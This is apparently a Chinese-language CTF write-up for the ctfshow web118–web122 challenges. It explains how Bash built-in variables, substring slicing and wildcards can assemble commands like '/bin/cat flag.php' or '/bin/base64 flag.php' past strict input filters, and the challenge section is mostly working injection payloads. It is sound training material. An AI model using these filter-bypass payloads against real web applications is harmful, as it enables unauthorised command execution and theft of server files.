前言
做题时遇到了这么一系列命令执行的题目,对变量参数进行了严格过滤 经过fuzz测试 只剩下了包含大写字母在内的如下字符。这样我们以往学习的各种姿势都不好用了。
在这种情况下我们考虑采取使用Bash内置变量绕过过滤 构造我们想要的命令
Bash内置变量
Bash中有很多内置变量,这些变量不仅影响Bash的相关行为,也大大的方便了用户的常见操作。Bash内置变量大体上包括两类,一类是传统Shell所具备的,另一类就是Bash所特有的。
Bash有许多内置变量,由于篇幅限制,今天只介绍与命令执行相关的那些内置变量
命令执行相关bash内置变量介绍
$PATH
用途:可执行文件的搜索路径。 用例:echo $PATH (路径通常是bin结尾)
要理解$PATH先来了解一下 bash中输入一个命令 计算机的处理过程
当输入一个命令时 Bash会自动生成一张哈希(hash)表 并且在这张哈希表中按照 PATH 变量中所列出的路径来搜索这个可执行命令。路径会存储在环境变量中,而$PATH 变量本身就一个以冒号分隔的目录列表。将目录添加至PATH变量是一种权宜之计。所以当命令脚本退出时 PATH将会恢复命令执行前的值(这是出于安全性的考虑)
当我们进行bash操作时当前目录不可避免地总是在变化的(cd来cd去)而$PATH 里面放置了一些固定的目录,这些目录是不会变化的。这样的话,当我们输入命令时,永远可以保证不会随着自己的位置改变,而导致出乎意料。
$PWD
用途:工作目录(你当前所在的目录) 用例:echo $PWD 题目环境中肯定是/var/www/html
理解了$PATH PWD就很好理解了。这里不再详细赘述,而且就如上图所说,ctf的题目环境下当前所在的目录一定是var/www/html
$RANDOM
用途: 产生随机整数 范围在0 - 32767之间.
用例:echo ${#RANDOM}
首先补充一个知识点:linux中可以用 ${#变量}显示变量的长度
那么该用例的作用就很好懂了:输出一个范围在0~32767之间的随机整数的位数
$SHLVL
用途:SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器 其默认初始值为1
用例 echo $SHLVL
$USER
用途:获取当前用户名
用例: echo ${#USER}
$PHP_VERSION
用途:获取当前php版本
用例:echo ${PHP_VERSION}
一些需要用到的技巧和特殊情况
linux中可以用~
获取变量的最后几位
同时可以用::
获取变量的前几位
在linux中可以用${#变量}
显示变量的长度
而且要注意一个特殊情况:${#?}==1
其它系统变量
1.$OLDPWD
表示前一个工作目录
2.$HOME
用户的 home 目录,一般是 /home/username。
3.$HOSTNAME
主机名称
4.IFS
内部域分隔符。这个变量用来决定 Bash 在解释字符串时如何识别域,或者单词边界。 $IFS默认为空白(空格, 制表符,和换行符),但这是可以修改的,比如在分析逗号分隔的数据文件时,就可以设置为逗号。
5.BASH
Bash 的二进制程序文件的路径
6.$BASH_VERSION
系统上安装的 Bash 版本号
ctf实战
ctfshow web118
进入题目环境 除了一个输入框之外没有任何利用点。
尝试各种命令执行姿势发现都被过滤了。fuzz测试一下 发现仅剩大写字母和下列字符。
题目提示 flag in flag.php 并且给出一张相当关键的图片 告诉我们path路径 和工作路径分别为 /bin /var/www/html 我们尝试使用bash变量来构造nl命令。即可得到flag
payload如下:
${PATH:~A}${PWD:~A} ????.???
CTFSHOW web119
增加了$PATH的过滤 n是构造不出来了 尝试构造/bin/cat flag.php
或/bin/base64 flag.php
构造/bin/base64 flag.php
只需要构造开头的/ 和base64中的4 就可以了。 /可以通过${PWD::1}
的方式构造 4 可以通过${#RANDOM}
少量多次爆破获得(原理看上文关于random变量的介绍)
这题还把1给过滤了幸好我们通过先前的学习了解到SHLVL默认开始为1那么就利用其来构造
最终payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
多次输入payload当random随机到四位数的时候即可获得flag的base64加密值。
构造/bin/cat flag.php
大同小异 这里直接放payload了
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
## tips:${HOME:${#HOSTNAME}:${#SHLVL}} ====> $HOME的第$#HOSTNAME个后取$SHLVL个为t
/bin/cat flag.php
ctfshow web120
web119/bin/base64
的payload 照样能过。/bin/cat
的过不了了 应该是增加了 hostname等变量的过滤
有一种新姿势
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
/bin/cat flag.php
说明当前用户的最后一位也是a
ctfshow web121
过滤了SHLVL 使用${#?}
来构造1
${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
也可以构造bin/rev
反向输出flag
${PWD::${#?}这个
ctfshow web122
更严密的过滤 这不是超级大毒瘤?#
也给我ban了 上题的payload不能用了 我们需要新的方法来构造1
$? 的奇妙用法
$?表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
为什么有 <A
<A
返回的错误值 使得$?
为1
payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
bin/base64 flag.php
这个payload执行成功概率较低 需要多试几次
后记
随着学习的深入 越来越感到命令执行姿势的千变万化 俗称是没有你想不到只有他做不到。继续努力吧。
参考链接
https://blog.csdn.net/weixin_45794666/article/details/111403030
https://www.cnblogs.com/sparkdev/p/9934595.html
https://www.cnblogs.com/iwantflag/p/15532565.html
https://blog.csdn.net/weixin_33725126/article/details/86024670